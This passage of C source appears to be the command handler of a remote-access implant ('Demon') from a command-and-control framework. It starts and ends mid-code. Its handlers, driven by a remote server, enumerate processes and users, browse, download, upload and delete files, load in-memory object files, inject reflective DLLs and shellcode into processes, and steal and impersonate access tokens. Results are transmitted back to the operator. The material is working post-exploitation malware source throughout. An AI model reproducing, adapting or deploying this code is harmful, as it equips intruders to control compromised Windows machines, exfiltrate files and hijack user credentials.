SysProcessInfo->ImageName.Buffer, ProcessName ); if ( MemRet != NULL ) { HANDLE hProcess = NULL; HANDLE hToken = NULL; hProcess = ProcessOpen( U_PTR( SysProcessInfo->UniqueProcessId ) , ( Instance->Session.OSVersion > WIN_VERSION_XP ) ? PROCESS_QUERY_LIMITED_INFORMATION : PROCESS_QUERY_INFORMATION ); if ( ! hProcess ) continue; if ( NT_SUCCESS( SysNtOpenProcessToken( hProcess, TOKEN_QUERY, &hToken ) ) ) { if ( TokenQueryOwner( hToken, &UserDomain, TOKEN_OWNER_FLAG_DEFAULT ) ) { /* well successful called the token user/domain query. continue */ } } PackageAddWString( Package, SysProcessInfo->ImageName.Buffer ); PackageAddInt32( Package, ( DWORD ) ( ULONG_PTR ) SysProcessInfo->UniqueProcessId ); PackageAddInt32( Package, ( DWORD ) ( ULONG_PTR ) SysProcessInfo->InheritedFromUniqueProcessId ); PackageAddBytes( Package, UserDomain.Buffer, UserDomain.Length ); PackageAddInt32( Package, ProcessIsWow( hProcess ) ? 86 : 64 ); if ( hProcess ) { SysNtClose( hProcess ); hProcess = NULL; } if ( hToken ) { SysNtClose( hToken ); hToken = NULL; } if ( UserDomain.Buffer ) { MemZero( UserDomain.Buffer, UserDomain.Length ); MmHeapFree( UserDomain.Buffer ); UserDomain.Buffer = NULL; } } if ( SysProcessInfo->NextEntryOffset == 0 ) break; SysProcessInfo = C_PTR( U_PTR( SysProcessInfo ) + SysProcessInfo->NextEntryOffset ); } if ( PtrProcessInfo ) { MemSet( PtrProcessInfo, 0, ProcessInfoSize ); MmHeapFree( PtrProcessInfo ); PtrProcessInfo = NULL; SysProcessInfo = NULL; } } else { NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); CALLBACK_ERROR_WIN32; } break; } case DEMON_COMMAND_PROC_CREATE: PUTS( "Proc::Create" ) { PROCESS_INFORMATION ProcessInfo = { 0 }; UINT32 ProcessSize = 0; UINT32 ProcessArgsSize = 0; UINT32 ProcessState = ParserGetInt32( Parser ); PWCHAR Process = ParserGetWString( Parser, &ProcessSize ); PWCHAR ProcessArgs = ParserGetWString( Parser, &ProcessArgsSize ); BOOL ProcessPiped = ParserGetInt32( Parser ); BOOL ProcessVerbose = ParserGetInt32( Parser ); BOOL Success = FALSE; if ( ProcessSize == 0 ) Process = NULL; if ( ProcessArgsSize == 0 ) ProcessArgs = NULL; PRINTF( "Process State : %d\n", ProcessState ); PRINTF( "Process : %ls [%d]\n", Process, ProcessSize ); PRINTF( "Process Args : %ls [%d]\n", ProcessArgs, ProcessArgsSize ); PRINTF( "Process Piped : %s [%d]\n", ProcessPiped ? "TRUE" : "FALSE", ProcessPiped ); PRINTF( "Process Verbose : %s [%d]\n", ProcessVerbose ? "TRUE" : "FALSE", ProcessVerbose ); // TODO: make it optional to choose process arch Success = ProcessCreate( TRUE, Process, ProcessArgs, ProcessState, &ProcessInfo, ProcessPiped, NULL ); PackageAddWString( Package, Process ); PackageAddInt32( Package, Success ? ProcessInfo.dwProcessId : 0 ); PackageAddInt32( Package, Success ); PackageAddInt32( Package, ProcessPiped ); PackageAddInt32( Package, ProcessVerbose ); if ( Success ) { SysNtClose( ProcessInfo.hThread ); if ( ! ProcessPiped ) SysNtClose( ProcessInfo.hProcess ); PRINTF( "Successful spawned process: %d\n", ProcessInfo.dwProcessId ); } break; } case DEMON_COMMAND_PROC_MEMORY: PUTS( "Proc::Memory" ) { DWORD ProcessID = ParserGetInt32( Parser ); DWORD QueryProtec = ParserGetInt32( Parser ); MEMORY_BASIC_INFORMATION MemInfo = {}; LPVOID Offset = 0; SIZE_T Result = 0; HANDLE hProcess = NULL; hProcess = ProcessOpen( ProcessID, PROCESS_ALL_ACCESS ); if ( hProcess ) { PackageAddInt32( Package, ProcessID ); PackageAddInt32( Package, QueryProtec ); while ( NT_SUCCESS( SysNtQueryVirtualMemory( hProcess, Offset, MemoryBasicInformation, &MemInfo, sizeof( MemInfo ), &Result ) ) ) { Offset = C_PTR( U_PTR( MemInfo.BaseAddress ) + MemInfo.RegionSize ); if ( MemInfo.Type != MEM_FREE ) { if ( MemInfo.AllocationBase != 0 ) { if ( QueryProtec == 0 ) { // Since the Protection to query isn't specified we just list every memory region PackageAddPtr( Package, MemInfo.BaseAddress ); PackageAddInt32( Package, MemInfo.RegionSize ); PackageAddInt32( Package, MemInfo.AllocationProtect ); PackageAddInt32( Package, MemInfo.State ); PackageAddInt32( Package, MemInfo.Type ); } else { if ( QueryProtec == MemInfo.AllocationProtect ) { PRINTF( "Search for memory region: %d\n", QueryProtec ) // Add found memory region with specified memory protection PackageAddPtr( Package, MemInfo.BaseAddress ); PackageAddInt32( Package, MemInfo.RegionSize ); PackageAddInt32( Package, MemInfo.AllocationProtect ); PackageAddInt32( Package, MemInfo.State ); PackageAddInt32( Package, MemInfo.Type ); } } } } } Offset = NULL; } if ( hProcess ) { SysNtClose( hProcess ); hProcess = NULL; } break; } case DEMON_COMMAND_PROC_KILL: PUTS( "Proc::Kill" ) { DWORD dwProcessID = ParserGetInt32( Parser ); HANDLE hProcess = NULL; hProcess = ProcessOpen( dwProcessID, PROCESS_TERMINATE ); if ( hProcess ) Instance->Win32.TerminateProcess( hProcess, 0 ); PackageAddInt32( Package, hProcess ? TRUE : FALSE ); PackageAddInt32( Package, dwProcessID ); if ( hProcess ) { SysNtClose( hProcess ); hProcess = NULL; } break; } } // TODO: handle error PackageTransmit( Package ); } /*! * get current list of running processes * and sends it back to the server. * * TODO: refactor this. * * @param Parser */ VOID CommandProcList( IN PPARSER Parser ) { PSYS_PROC_INFO SysProcessInfo = { 0 }; PSYS_PROC_INFO SysProcessPtr = { 0 }; /* is going to hold the original pointer of SysProcessInfo */ SIZE_T ProcessInfoSize = { 0 }; PPACKAGE Package = { 0 }; DWORD ProcessUI = { 0 }; HANDLE Token = { 0 }; HANDLE Process = { 0 }; BUFFER UserDomain = { 0 }; BOOL x86 = FALSE; NTSTATUS NtStatus = STATUS_SUCCESS; /* try to take a snapshot of current running processes */ if ( NT_SUCCESS( NtStatus = ProcessSnapShot( &SysProcessInfo, &ProcessInfoSize ) ) ) { PRINTF( "SysProcessInfo: %p : %d\n", SysProcessInfo, ProcessInfoSize ); /* save the original pointer to free */ SysProcessPtr = SysProcessInfo; /* Create our package */ Package = PackageCreate( DEMON_COMMAND_PROC_LIST ); ProcessUI = ParserGetInt32( Parser ); /* TODO: change from bool to process list id (what client requested it) */ /* did we get this request from the Client Process Explorer or Console ? */ PackageAddInt32( Package, ProcessUI ); do { /* open handle to each process with query information privilege since we don't need anything else besides basic info */ Process = ProcessOpen( U_PTR( SysProcessInfo->UniqueProcessId ), Instance->Session.OSVersion > WIN_VERSION_XP ? PROCESS_QUERY_LIMITED_INFORMATION : PROCESS_QUERY_INFORMATION ); /* query data based on the process handle */ if ( Process ) { /* open a process token handle */ if ( NT_SUCCESS( NtStatus = SysNtOpenProcessToken( Process, TOKEN_QUERY, &Token ) ) ) { /* query the username and domain */ if ( ! TokenQueryOwner( Token, &UserDomain, TOKEN_OWNER_FLAG_DEFAULT ) ) { PUTS( "Failed to get Username and Domain\n" ); } else { PRINTF( "UserDomain: %ls\n", UserDomain.Buffer ) } } else { PRINTF( "NtOpenProcessToken Failed => %lx\n", NtStatus ) } /* check if the process handle is wow64 */ x86 = ProcessIsWow( Process ); } /* Now we append the collected process data to the process list */ PackageAddBytes( Package, SysProcessInfo->ImageName.Buffer, SysProcessInfo->ImageName.Length ); PackageAddInt32( Package, U_PTR( SysProcessInfo->UniqueProcessId ) ); PackageAddInt32( Package, x86 ); PackageAddInt32( Package, U_PTR( SysProcessInfo->InheritedFromUniqueProcessId ) ); PackageAddInt32( Package, SysProcessInfo->SessionId ); PackageAddInt32( Package, SysProcessInfo->NumberOfThreads ); PackageAddBytes( Package, UserDomain.Buffer, UserDomain.Length ); #ifdef DEBUG /* ignore this. is just for the debug prints. * if we close the handle to our own process we won't see any debug prints anymore */ if ( U_PTR( SysProcessInfo->UniqueProcessId ) != Instance->Session.PID ) { SysNtClose( Process ); Process = NULL; } #else if ( Process ) { SysNtClose( Process ); Process = NULL; } #endif if ( Token ) { SysNtClose( Token ); Token = NULL; } if ( UserDomain.Buffer ) { MemZero( UserDomain.Buffer, UserDomain.Length ); MmHeapFree( UserDomain.Buffer ); UserDomain.Buffer = NULL; UserDomain.Length = 0; } /* there are no processes left. */ if ( ! SysProcessInfo->NextEntryOffset ) { break; } /* now go to the next process */ SysProcessInfo = C_PTR( U_PTR( SysProcessInfo ) + SysProcessInfo->NextEntryOffset ); } while ( TRUE ); PackageTransmit( Package ); /* Free our process list */ if ( SysProcessPtr ) { MemZero( SysProcessPtr, ProcessInfoSize ); MmHeapFree( SysProcessPtr ); SysProcessPtr = NULL; SysProcessInfo = NULL; } } else { PACKAGE_ERROR_NTSTATUS( NtStatus ) } } VOID CommandFS( PPARSER Parser ) { PPACKAGE Package = PackageCreate( DEMON_COMMAND_FS ); DWORD Command = ParserGetInt32( Parser ); PackageAddInt32( Package, Command ); switch ( Command ) { case DEMON_COMMAND_FS_DIR: PUTS( "FS::Dir" ) { LPWSTR TargetFolder = NULL; LPWSTR Path = NULL; BOOL FileExplorer = FALSE; PROOT_DIR RootDir = NULL; PROOT_DIR TmpRootDir = NULL; BOOL SubDirs = FALSE; BOOL FilesOnly = FALSE; BOOL DirsOnly = FALSE; BOOL ListOnly = FALSE; LPWSTR Starts = NULL; LPWSTR Contains = NULL; LPWSTR Ends = NULL; PDIR_OR_FILE DirOrFile = NULL; PDIR_OR_FILE TmpDirOrFile = NULL; UINT32 PathSize = NULL; FileExplorer = ParserGetBool( Parser ); TargetFolder = ParserGetWString( Parser, NULL ); SubDirs = ParserGetBool( Parser ); FilesOnly = ParserGetBool( Parser ); DirsOnly = ParserGetBool( Parser ); ListOnly = ParserGetBool( Parser ); Starts = ParserGetWString( Parser, NULL ); Contains = ParserGetWString( Parser, NULL ); Ends = ParserGetWString( Parser, NULL ); Starts = Starts[ 0 ] ? Starts : NULL; Contains = Contains[ 0 ] ? Contains : NULL; Ends = Ends[ 0 ] ? Ends : NULL; Path = Instance->Win32.LocalAlloc( LPTR, MAX_PATH * sizeof( WCHAR ) ); if ( TargetFolder[ 0 ] == L'.' ) { if ( ! Instance->Win32.GetCurrentDirectoryW( MAX_PATH, Path ) ) { PRINTF( "Failed to get current dir: %d\n", NtGetLastError() ); DATA_FREE( Path, MAX_PATH * sizeof( WCHAR ) ); break; } PathSize = StringLengthW( Path ); if ( Path[ PathSize - 1 ] != 0x5c ) Path[ PathSize++ ] = 0x5c; Path[ PathSize++ ] = 0x2a; Path[ PathSize ] = 0x00; } else { MemCopy( Path, TargetFolder, MAX_PATH * sizeof( WCHAR ) ); } PRINTF( "Path: %ls\n", Path ) /* * TODO: make listDir not recursive, * right now, we avoid stack overflows by iterating 10 times tops * otherweise, this function is known to crash if the * search space is too vast */ RootDir = listDir( Path, SubDirs, FilesOnly, DirsOnly, Starts, Contains, Ends, 10 ); PackageAddBool( Package, FileExplorer ); PackageAddBool( Package, ListOnly ); PackageAddWString( Package, Path ); PackageAddBool( Package, RootDir ? TRUE : FALSE ); while ( RootDir ) { if ( ! ( ListOnly && RootDir->NumFiles + RootDir->NumFolders == 0 ) ) { PackageAddWString( Package, RootDir->Path ); PackageAddInt32( Package, RootDir->NumFiles ); PackageAddInt32( Package, RootDir->NumFolders ); if ( ! ListOnly ) { PackageAddInt64( Package, RootDir->TotalFileSize ); } DirOrFile = RootDir->Content; while ( DirOrFile ) { PackageAddWString( Package, DirOrFile->FileName ); if ( ! ListOnly ) { PackageAddBool( Package, DirOrFile->IsDir ); PackageAddInt64( Package, DirOrFile->Size ); PackageAddInt32( Package, DirOrFile->FileTime.wDay ); PackageAddInt32( Package, DirOrFile->FileTime.wMonth ); PackageAddInt32( Package, DirOrFile->FileTime.wYear ); PackageAddInt32( Package, DirOrFile->SystemTime.wMinute ); PackageAddInt32( Package, DirOrFile->SystemTime.wHour ); } TmpDirOrFile = DirOrFile->Next; DATA_FREE( DirOrFile, sizeof( DIR_OR_FILE ) ); DirOrFile = TmpDirOrFile; } } TmpRootDir = RootDir->Next; DATA_FREE( RootDir, sizeof( ROOT_DIR ) ); RootDir = TmpRootDir; } DATA_FREE( Path, MAX_PATH * sizeof( WCHAR ) ); break; } case DEMON_COMMAND_FS_DOWNLOAD: PUTS( "FS::Download" ) { PDOWNLOAD_DATA Download = NULL; BUFFER FileName = { 0 }; PVOID Buffer = NULL; HANDLE hFile = NULL; BOOL Success = TRUE; WCHAR FilePath[ MAX_PATH * 2 ] = { 0 }; WCHAR PathSize = MAX_PATH * 2; LARGE_INTEGER FileSize = { 0 }; Buffer = ParserGetBytes( Parser, &FileName.Length ); FileName.Buffer = MmHeapAlloc( FileName.Length + sizeof( WCHAR ) ); MemCopy( FileName.Buffer, Buffer, FileName.Length ); PRINTF( "FileName => %ls\n", FileName.Buffer ) hFile = Instance->Win32.CreateFileW( FileName.Buffer, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0 ); if ( ( ! hFile ) || ( hFile == INVALID_HANDLE_VALUE ) ) { PUTS( "CreateFileW: Failed" ) PACKAGE_ERROR_WIN32 Success = FALSE; goto CleanupDownload; } PathSize = Instance->Win32.GetFullPathNameW( FileName.Buffer, PathSize, FilePath, NULL ); PRINTF( "FilePath.Buffer[%d]: %ls\n", PathSize, FilePath ) if ( ! Instance->Win32.GetFileSizeEx( hFile, &FileSize ) ) { PUTS( "GetFileSizeEx: Failed" ) PACKAGE_ERROR_WIN32 Success = FALSE; goto CleanupDownload; } /* Start our download. */ Download = DownloadAdd( hFile, FileSize.QuadPart ); /* * Download Header: * [ Mode ] Open ( 0 ), Write ( 1 ) or Close ( 2 ) * [ File ID ] Download File ID * * Data (Open): * [ File Size ] * [ File Name ] * * Data (Write) * [ Chunk Data ] Size + FileChunk * * Data (Close): * [ Reason ] Removed or Finished * */ /* Download Header */ PackageAddInt32( Package, DOWNLOAD_MODE_OPEN ); PackageAddInt32( Package, Download->FileID ); /* Download Open Data */ PackageAddInt64( Package, FileSize.QuadPart ); if ( PathSize > 0 ) PackageAddWString( Package, FilePath ); else PackageAddWString( Package, FileName.Buffer ); CleanupDownload: PUTS( "CleanupDownload" ) if ( FileName.Buffer ) { MemSet( FileName.Buffer, 0, FileName.Length ); MmHeapFree( FileName.Buffer ); FileName.Buffer = NULL; } if ( ! Success ) goto CLEAR_LEAVE; break; } case DEMON_COMMAND_FS_UPLOAD: PUTS( "FS::Upload" ) { DWORD FileSize = 0; UINT32 NameSize = 0; DWORD Written = 0; HANDLE hFile = NULL; LPWSTR FileName = ParserGetWString( Parser, &NameSize ); ULONG MemFileID = ParserGetInt32( Parser ); PMEM_FILE MemFile = GetMemFile( MemFileID ); BOOL Success = TRUE; PVOID Content = NULL; // TODO: handle error and communicate to the TS if ( MemFile && MemFile->IsCompleted ) { Content = MemFile->Data; FileSize = MemFile->Size; } else if ( MemFile && ! MemFile->IsCompleted ) { PRINTF( "MemFile [%x] was not completed\n", MemFileID ); Success = FALSE; goto CleanupUpload; } else { PRINTF( "MemFile [%x] not found\n", MemFileID ); Success = FALSE; goto CleanupUpload; } PRINTF( "FileName[%d] => %ls\n", FileSize, FileName ) hFile = Instance->Win32.CreateFileW( FileName, GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL ); if ( ( ! hFile ) || ( hFile == INVALID_HANDLE_VALUE ) ) { PUTS( "CreateFileW: Failed" ) PACKAGE_ERROR_WIN32 Success = FALSE; goto CleanupUpload; } if ( ! Instance->Win32.WriteFile( hFile, Content, FileSize, &Written, NULL ) ) { PUTS( "WriteFile: Failed" ) PACKAGE_ERROR_WIN32 Success = FALSE; goto CleanupUpload; } PackageAddInt32( Package, FileSize ); PackageAddWString( Package, FileName ); CleanupUpload: if ( hFile ) { SysNtClose( hFile ); hFile = NULL; } if ( ! Success ) { goto CLEAR_LEAVE; } break; } case DEMON_COMMAND_FS_CD: PUTS( "FS::Cd" ) { UINT32 PathSize = 0; LPWSTR Path = ParserGetWString( Parser, &PathSize ); if ( ! Instance->Win32.SetCurrentDirectoryW( Path ) ) { PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); goto CLEAR_LEAVE; } else { PackageAddWString( Package, Path ); } break; } case DEMON_COMMAND_FS_REMOVE: PUTS( "FS::Remove" ) { UINT32 PathSize = 0; LPWSTR Path = ParserGetWString( Parser, &PathSize ); DWORD dwAttrib = Instance->Win32.GetFileAttributesW( Path ); if ( dwAttrib != INVALID_FILE_ATTRIBUTES && ( dwAttrib & FILE_ATTRIBUTE_DIRECTORY ) ) { if ( ! Instance->Win32.RemoveDirectoryW( Path ) ) { PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); goto CLEAR_LEAVE; } else { PackageAddInt32( Package, TRUE ); } } else { if ( ! Instance->Win32.DeleteFileW( Path ) ) { PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); goto CLEAR_LEAVE; } else { PackageAddInt32( Package, FALSE ); } } PackageAddWString( Package, Path ); break; } case DEMON_COMMAND_FS_MKDIR: PUTS( "FS::Mkdir" ) { UINT32 PathSize = 0; LPWSTR Path = ParserGetWString( Parser, &PathSize ); if ( ! Instance->Win32.CreateDirectoryW( Path, NULL ) ) { PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); goto CLEAR_LEAVE; } PackageAddWString( Package, Path ); break; } case DEMON_COMMAND_FS_COPY: PUTS( "FS::Copy" ) { UINT32 FromSize = 0; UINT32 ToSize = 0; LPWSTR PathFrom = NULL; LPWSTR PathTo = NULL; BOOL Success = FALSE; PathFrom = ParserGetWString( Parser, &FromSize ); PathTo = ParserGetWString( Parser, &ToSize ); PRINTF( "Copy file %ls to %ls\n", PathFrom, PathTo ) Success = Instance->Win32.CopyFileW( PathFrom, PathTo, FALSE ); if ( ! Success ) { PACKAGE_ERROR_WIN32 } PackageAddInt32( Package, Success ); PackageAddWString( Package, PathFrom ); PackageAddWString( Package, PathTo ); break; } case DEMON_COMMAND_FS_MOVE: PUTS( "FS::Move" ) { UINT32 FromSize = 0; UINT32 ToSize = 0; LPWSTR PathFrom = NULL; LPWSTR PathTo = NULL; BOOL Success = FALSE; PathFrom = ParserGetWString( Parser, &FromSize ); PathTo = ParserGetWString( Parser, &ToSize ); PRINTF( "Move file %ls to %ls\n", PathFrom, PathTo ) Success = Instance->Win32.MoveFileExW( PathFrom, PathTo, MOVEFILE_REPLACE_EXISTING ); if ( ! Success ) { PACKAGE_ERROR_WIN32 } PackageAddInt32( Package, Success ); PackageAddWString( Package, PathFrom ); PackageAddWString( Package, PathTo ); break; } case DEMON_COMMAND_FS_GET_PWD: PUTS( "FS::GetPwd" ) { WCHAR Path[ MAX_PATH * 2 ] = { 0 }; DWORD Return = 0; if ( ! ( Return = Instance->Win32.GetCurrentDirectoryW( MAX_PATH * 2, Path ) ) ) { PRINTF( "Failed to get current dir: %d\n", NtGetLastError() ); PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); } else { PackageAddWString( Package, Path ); } break; } case DEMON_COMMAND_FS_CAT: PUTS( "FS::Cat" ) { DWORD FileSize = 0; UINT32 NameSize = 0; LPWSTR FileName = ParserGetWString( Parser, &NameSize ); PVOID Content = NULL; BOOL Success = FALSE; PRINTF( "FileName => %ls\n", FileName ) Success = ReadLocalFile( FileName, &Content, &FileSize ); PackageAddWString( Package, FileName ); PackageAddInt32( Package, Success ); PackageAddBytes( Package, Content, FileSize ); if ( Content ) { MemSet( Content, 0, FileSize ); Instance->Win32.LocalFree( Content ); Content = NULL; } break; } default: { PRINTF( "FS SubCommand not found: %d : %x\n", Command, Command ); break; } } PackageTransmit( Package ); return; CLEAR_LEAVE: PackageDestroy( Package ); Package = NULL; } VOID CommandInlineExecute( PPARSER Parser ) { UINT32 FunctionNameSize = 0; DWORD ObjectDataSize = 0; PCHAR ArgBuffer = NULL; UINT32 ArgSize = 0; PCHAR ObjectData = NULL; PMEM_FILE BofMemFile = NULL; PMEM_FILE ParamsMemFile = NULL; UINT32 RequestID = Instance->CurrentRequestID; PCHAR FunctionName = ParserGetString( Parser, &FunctionNameSize ); ULONG BofFileID = ParserGetInt32( Parser ); ULONG ParamsFileID = ParserGetInt32( Parser ); INT32 Flags = ParserGetInt32( Parser ); BofMemFile = GetMemFile( BofFileID ); if ( BofMemFile && BofMemFile->IsCompleted ) { ObjectData = BofMemFile->Data; ObjectDataSize = BofMemFile->Size; } else if ( BofMemFile && ! BofMemFile->IsCompleted ) { PRINTF( "BofMemFile [%x] was not completed\n", BofFileID ); goto CLEANUP; } else { PRINTF( "BofMemFile [%x] not found\n", BofFileID ); goto CLEANUP; } ParamsMemFile = GetMemFile( ParamsFileID ); if ( ParamsMemFile && ParamsMemFile->IsCompleted ) { ArgBuffer = ParamsMemFile->Data; ArgSize = ParamsMemFile->Size; } else if ( ParamsMemFile && ! ParamsMemFile->IsCompleted ) { PRINTF( "ParamsMemFile [%x] was not completed\n", ParamsFileID ); goto CLEANUP; } else { PRINTF( "ParamsMemFile [%x] not found\n", ParamsFileID ); goto CLEANUP; } switch ( Flags ) { case 0: { PUTS( "Use Non-Threaded CoffeeLdr" ) CoffeeLdr( FunctionName, ObjectData, ArgBuffer, ArgSize, RequestID ); break; } case 1: { PUTS( "Use Threaded CoffeeRunner" ) CoffeeRunner( FunctionName, FunctionNameSize, ObjectData, ObjectDataSize, ArgBuffer, ArgSize, RequestID ); break; } default: { PUTS( "Use default (from config) CoffeeLdr" ) if ( Instance->Config.Implant.CoffeeThreaded ) { PUTS( "Config is set to threaded" ) CoffeeRunner( FunctionName, FunctionNameSize, ObjectData, ObjectDataSize, ArgBuffer, ArgSize, RequestID ); } else { PUTS( "Config is set to non-threaded" ) CoffeeLdr( FunctionName, ObjectData, ArgBuffer, ArgSize, RequestID ); } break; } } CLEANUP: RemoveMemFile( BofFileID ); RemoveMemFile( ParamsFileID ); } VOID CommandInjectDLL( PPARSER Parser ) { PPACKAGE Package = PackageCreate( DEMON_COMMAND_INJECT_DLL ); UINT32 DllSize = 0; DWORD Result = 1; NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; PBYTE DllBytes = NULL; UINT32 DllLdrSize = 0; PBYTE DllLdr = NULL; HANDLE hProcess = NULL; OBJECT_ATTRIBUTES ObjAttr = { sizeof( ObjAttr ) }; INJECTION_CTX InjCtx = { 0 }; InjCtx.Technique = ParserGetInt32( Parser ); InjCtx.ProcessID = ParserGetInt32( Parser ); DllLdr = ParserGetBytes( Parser, &DllLdrSize ); DllBytes = ParserGetBytes( Parser, &DllSize ); InjCtx.Parameter = ParserGetBytes( Parser, &InjCtx.ParameterSize ); PUTS( "CommandInjectDLL" ) PRINTF( "Technique: %d\n", InjCtx.Technique ) PRINTF( "ProcessID: %d\n", InjCtx.ProcessID ) PRINTF( "DllBytes : %x [%d]\n", DllBytes, DllSize ); PRINTF( "Parameter: %x [%d]\n", InjCtx.Parameter, InjCtx.ParameterSize ); hProcess = ProcessOpen( InjCtx.ProcessID, PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION ); if ( hProcess ) { Result = DllInjectReflective( hProcess, DllLdr, DllLdrSize, DllBytes, DllSize, InjCtx.Parameter, InjCtx.ParameterSize, &InjCtx ); SysNtClose( hProcess ); } else { PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); } PRINTF( "Injected Result: %d\n", Result ) PackageAddInt32( Package, Result ); PackageTransmit( Package ); } VOID CommandSpawnDLL( PPARSER Parser ) { PPACKAGE Package = NULL; INJECTION_CTX InjCtx = { 0 }; UINT32 DllSize = 0; UINT32 ArgSize = 0; UINT32 DllLdrSize = 0; PCHAR DllLdr = ParserGetString( Parser, &DllLdrSize ); PCHAR DllBytes = ParserGetString( Parser, &DllSize ); PCHAR Arguments = ParserGetString( Parser, &ArgSize ); DWORD Result = 0; Package = PackageCreate( DEMON_COMMAND_SPAWN_DLL ); Result = DllSpawnReflective( DllLdr, DllLdrSize, DllBytes, DllSize, Arguments, ArgSize, &InjCtx ); PackageAddInt32( Package, Result ); PackageTransmit( Package ); } VOID CommandInjectShellcode( IN PPARSER Parser ) { PPACKAGE Package = NULL; DWORD Status = INJECT_ERROR_FAILED; DWORD Way = FALSE; DWORD Method = 0; BOOL x64 = FALSE; PVOID Payload = NULL; DWORD Size = 0; PVOID Argv = NULL; DWORD Argc = 0; DWORD Pid = 0; LPWSTR Spawn = NULL; PROC_INFO PcInfo = { 0 }; /* create response package */ Package = PackageCreate( DEMON_COMMAND_INJECT_SHELLCODE ); /* parse arguments */ Way = ParserGetInt32( Parser ); Method = ParserGetInt32( Parser ); x64 = ParserGetInt32( Parser ); Payload = ParserGetBytes( Parser, &Size ); Argv = ParserGetBytes( Parser, &Argc ); Pid = ParserGetInt32( Parser ); PRINTF( "Injection Args: \n" " - Way : %d \n" " - Method : %d \n" " - x64 : %s \n" " - Payload : %p : %d \n" " - Arg : %p : %d \n" " - Pid : %d \n", Way, Method, x64 ? "TRUE" : "FALSE", Payload, Size, Argv, Argc, Pid ) /* dispatch injection way */ switch ( Way ) { case INJECT_WAY_SPAWN: PUTS( "INJECT_WAY_SPAWN" ) { /* use configured target process */ if ( x64 ) { Spawn = Instance->Config.Process.Spawn64; } else { Spawn = Instance->Config.Process.Spawn86; } PRINTF( "Target spawn process: %ls\n", Spawn ) /* create process */ if ( ProcessCreate( ( ! x64 ), NULL, Spawn, CREATE_NO_WINDOW | CREATE_NEW_CONSOLE | CREATE_SUSPENDED, &PcInfo, FALSE, NULL ) ) { PRINTF( "ProcessId is %d\n", PcInfo.dwProcessId ); /* inject code */ Status = Inject( Method, PcInfo.hProcess, 0, x64, Payload, Size, 0, Argv, Argc ); /* terminate process if injection failed */ if ( Status != INJECT_ERROR_SUCCESS ) { ProcessTerminate( PcInfo.hProcess, 0 ); } /* close process handle */ if ( PcInfo.hProcess ) { SysNtClose( PcInfo.hProcess ); } /* close thread handle */ if ( PcInfo.hThread ) { SysNtClose( PcInfo.hThread ); } /* clear struct from stack */ RtlSecureZeroMemory( &PcInfo, sizeof( PROC_INFO ) ); } else { PRINTF( "Failed to create process: %d\n", NtGetLastError() ) } break; } case INJECT_WAY_INJECT: PUTS( "INJECT_WAY_INJECT" ) { Status = Inject( Method, NULL, Pid, x64, Payload, Size, U_PTR( NULL ),Argv, Argc ); break; } case INJECT_WAY_EXECUTE: PUTS( "INJECT_WAY_EXECUTE" ) { Status = Inject( Method, NtCurrentProcess(), 0, x64, Payload, Size, U_PTR( NULL ),Argv, Argc ); break; } default: { PRINTF( "Injection way not found: %d\n", Way ) } } PackageAddInt32( Package, Status ); PackageTransmit( Package ); } VOID CommandToken( PPARSER Parser ) { PPACKAGE Package = PackageCreate( DEMON_COMMAND_TOKEN ); DWORD Command = ParserGetInt32( Parser ); PRINTF( "Command => %d\n", Command ) PackageAddInt32( Package, Command ); switch ( Command ) { case DEMON_COMMAND_TOKEN_IMPERSONATE: PUTS( "Token::Impersonate" ) { DWORD dwTokenID = ParserGetInt32( Parser ); PTOKEN_LIST_DATA TokenData = NULL; TokenData = TokenGet( dwTokenID ); if ( TokenData ) { PackageAddInt32( Package, ImpersonateTokenInStore( TokenData ) ); PackageAddString( Package, TokenData->DomainUser ); } else { PUTS( "Token not found in vault." ) PackageTransmitError( CALLBACK_ERROR_TOKEN, 0x1 ); PackageAddInt32( Package, FALSE ); PackageAddInt32( Package, 0 ); } break; } case DEMON_COMMAND_TOKEN_STEAL: PUTS( "Token::Steal" ) { DWORD TargetPid = { 0 }; HANDLE TargetHandle = { 0 }; HANDLE StolenToken = { 0 }; BUFFER UserDomain = { 0 }; DWORD NewTokenID = { 0 }; // TODO: send True or False /* parse arguments */ TargetPid = ParserGetInt32( Parser ); TargetHandle = C_PTR( ParserGetInt32( Parser ) ); /* steal token */ if ( ! ( StolenToken = TokenSteal( TargetPid, TargetHandle ) ) ) { PUTS( "[!] Couldn't get remote process token" ) return; } if ( ! TokenQueryOwner( StolenToken, &UserDomain, TOKEN_OWNER_FLAG_DEFAULT ) ) { PUTS( "Failed to query user/domain from stolen token" ) return; } /* TODO: pass the BUFFER struct to it instead of the PCHAR pointer */ NewTokenID = TokenAdd( StolenToken, UserDomain.Buffer, TOKEN_TYPE_STOLEN, TargetPid, NULL, NULL, NULL ); /* when a new token is stolen, we impersonate it automatically */ if ( ! ImpersonateTokenFromVault( NewTokenID ) ) { PUTS( "Failed to impersonate the token" ) return; } PRINTF( "[^] New Token added to the Vault: %d User:[%ls]\n", NewTokenID, UserDomain.Buffer ); PackageAddBytes( Package, UserDomain.Buffer, UserDomain.Length ); PackageAddInt32( Package, NewTokenID ); PackageAddInt32( Package, TargetPid ); break; } case DEMON_COMMAND_TOKEN_LIST: PUTS( "Token::List" ) { PTOKEN_LIST_DATA TokenList = Instance->Tokens.Vault; DWORD TokenIndex = 0; do { if ( TokenList != NULL ) { PRINTF( "[TOKEN_LIST] Index:[%d] Handle:[0x%x] User:[%s] Pid:[%d]\n", TokenIndex, TokenList->Handle, TokenList->DomainUser, TokenList->dwProcessID ); PackageAddInt32( Package, TokenIndex ); PackageAddInt32( Package, ( DWORD ) ( ULONG_PTR ) TokenList->Handle ); PackageAddWString( Package, TokenList->DomainUser ); PackageAddInt32( Package, TokenList->dwProcessID ); PackageAddInt32( Package, TokenList->Type ); PackageAddInt32( Package, Instance->Tokens.Impersonate && Instance->Tokens.Token->Handle == TokenList->Handle ); TokenList = TokenList->NextToken; } else break; TokenIndex++; } while ( 